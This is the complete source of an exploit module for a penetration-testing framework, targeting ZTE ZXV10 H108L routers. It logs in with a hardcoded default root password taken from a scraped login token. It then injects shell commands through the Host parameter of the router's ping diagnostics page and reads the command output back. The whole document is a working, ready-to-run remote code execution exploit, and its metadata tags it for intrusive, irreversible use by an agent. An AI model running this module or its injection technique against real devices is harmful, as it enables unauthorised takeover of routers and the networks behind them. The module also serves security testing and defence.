ZTE ZXV10 RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ZTE ZXV10 RCE"""

import re
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "ZTE ZXV10 RCE",
        "description": (
            "Exploits ZTE ZXV10 H108L remote code execution vulnerability that allows "
            "executing commands on operating system level."
        ),
        "author": ["Anastasios Stasinopoulos", "Marcin Bury"],
        "platform": Platform.LINUX,
        "payload": {"default": "nopayload"},
        "references": ["https://github.com/stasinopoulos/ZTExploit/"],
        "tags": ["iot", "router", "rce", "unauth", "zte"],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    username = OptString("root", "Username to log in with")
    password = OptString("W!n0&oO7.", "Password to log in with")

    def login(self) -> bool:
        try:
            response = self.http_request(method="GET", path="/")
            if response is None:
                return False

            print_status("Retrieving random login token...")
            tokens = re.findall(r'Frm_Logintoken"\)\.value = "(.*)";', response.text)
            if not tokens:
                return False

            print_status(f"Trying to log in with credentials {self.username} : {self.password}")
            data = {
                "Frm_Logintoken": tokens[0],
                "Username": str(self.username),
                "Password": str(self.password),
            }
            response = self.http_request(method="POST", path="/login.gch", data=data)
            if (
                response
                and "Username" not in response.text
                and "Password" not in response.text
                and "404 Not Found" not in response.text
                and response.status_code != 404
            ):
                print_success("Successful authentication")
                return True
        except Exception:
            pass
        return False

    def execute(self, cmd: str) -> str:
        path = (
            "/getpage.gch?pid=1002&nextpage=manager_dev_ping_t.gch&Host=;echo $({})&NumofRepeat=1&"
            "DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit"
        ).format(cmd)

        try:
            self.http_request(method="GET", path=path)
            time.sleep(3)
            response = self.http_request(
                method="GET",
                path="/getpage.gch?pid=1002&nextpage=manager_dev_ping_t.gch",
            )
            time.sleep(1)
            if not response:
                return ""

            res = re.findall(r'textarea_1">(.*) -c', response.text)
            if res:
                return res[0]

            res1 = re.findall(r'textarea_1">(.*)', response.text)
            if not res1:
                return ""
            if res1[0] == "-c 1 -s 64":
                return ""
            res2 = re.findall(r"(.*) -c", response.text)
            merged = res1 + res2
            if merged[0] != "</textarea>":
                return merged[0]
        except Exception:
            pass
        return ""

    def check(self):
        if self.login():
            return {"vulnerable": True, "reason": "Authentication succeeded", "confidence": "medium"}
        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

    def run(self):
        result = self.check()
        if isinstance(result, dict) and not result.get("vulnerable"):
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()